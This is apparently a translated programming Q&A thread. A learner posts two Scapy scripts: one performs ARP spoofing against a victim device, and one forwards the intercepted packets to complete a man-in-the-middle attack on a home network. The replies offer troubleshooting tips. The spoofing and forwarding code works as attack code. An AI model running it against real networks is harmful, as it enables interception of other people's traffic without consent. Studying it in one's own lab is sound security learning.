Scapy转发包

时间:2014-02-20 15:52:12

标签: python networking dns scapy

我只是在用scapy学习python。我阅读并使用了“Network Hacks - Intensivkurs - Angriff und Verteidigung mit Python”(德语)这本书。

我想尝试使用arp-spoofing来攻击中间人。 我有我的电脑,受害者(我的树莓派)和标准网关。

为了欺骗,我使用了书中的代码片段

#!/usr/bin/python

import sys
import time
from scapy.all import sniff, sendp, ARP, Ether

if len(sys.argv) < 3:
    print sys.argv[0] + " <target> <spoof_ip>"
    sys.exit(0)

iface = "wlan1"
target_ip = sys.argv[1]
fake_ip = sys.argv[2]

ethernet = Ether()
arp = ARP(pdst=target_ip, psrc=fake_ip, op="is-at")
packet = ethernet / arp

while True:
    sendp(packet, iface=iface)
    time.sleep(10)

它有效,我的受害者将我的mac显示为网关。 受害者使用正确的ip但我的mac地址发送数据包。 现在受害者应该打开一个网站(wget http // example.com),我想使用Wireshark来读取流量。但我必须重定向包(DNS和TCP / HTTP)。我用这段代码试了一下:

#!/etc/usr/python

from scapy.all import *
import sys

iface = "wlan1"
filter = "ip"
VICTIM_IP = "192.168.2.108"
MY_IP = "192.168.2.104"
GATEWAY_IP = "192.168.2.1"
VICTIM_MAC = "### don't want so show###"
MY_MAC = "### don't want so show###"
GATEWAY_MAC = "### don't want so show###"

def handle_packet(packet):
    if (packet[IP].dst == GATEWAY_IP) and (packet[Ether].dst == MY_MAC):
        packet[Ether].dst = GATEWAY_MAC
        sendp(packet)

        print "A packet from " + packet[IP].src + " redirected!"

sniff(prn=handle_packet, filter=filter, iface=iface, store=0)

Wireshark显示具有正确数据的数据包(IP Source =受害者IP,IP目的地=网关IP,MAC源=受害者MAC,MAC目的地=网关MAC)。 网关是DSL路由器,也是“DNS服务器”。

但我的Raspberry没有收到DNS响应。我的错是什么?

你的忠实,

MatStorm

2 个答案:

答案 0 :(得分:0)

Scapy不为您做的一件事是处理防火墙问题;在这种情况下,您可以很好地关闭攻击主机上的主机防火墙。您正在制作的数据包没有使用通常的数据包路径。

另外,在转发数据包时是否正在翻译源地址以便响应?我在代码中没有看到......

答案 1 :(得分:0)

检查监视器模式是否在伪造的dns服务器界面上。我无法从您的代码中看到是否这样做,只是一个快速提示。睡一会儿我会靠近一点,直视。上次进行欺骗时,我在路由器和监视器模式的wlan上有1条以太网电缆和Internet。如果我尝试不显示它会显示一些通缉的信息,但是却不正确,就记不清我做了什么修复工作。祝你好运。

相关问题